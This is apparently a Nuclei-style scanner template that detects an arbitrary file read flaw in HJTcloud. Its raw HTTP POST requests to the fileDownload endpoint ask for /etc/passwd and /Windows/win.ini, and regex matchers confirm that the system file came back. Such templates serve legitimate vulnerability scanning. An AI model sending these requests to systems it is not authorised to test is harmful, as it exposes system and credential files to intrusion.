id: hjtcloud-arbitrary-file-read

info:
  name: HJTcloud Arbitrary File Read
  author: pikpikcu
  severity: high
  reference: https://mp.weixin.qq.com/s/w2pkj5ADN7b5uxe-wmfGbw
  tags: hjtcloud,lfi

requests:
  - raw:
      - |
        POST /fileDownload?action=downloadBackupFile HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/plain, */*
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Content-Length: 20

        fullPath=/etc/passwd

      - |
        POST /fileDownload?action=downloadBackupFile HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/plain, */*
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Content-Length: 20

        fullPath=/Windows/win.ini      

    matchers-condition: and
    matchers:

      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: word
        words:
          - "extensions"
        part: body

      - type: status
        status:
          - 200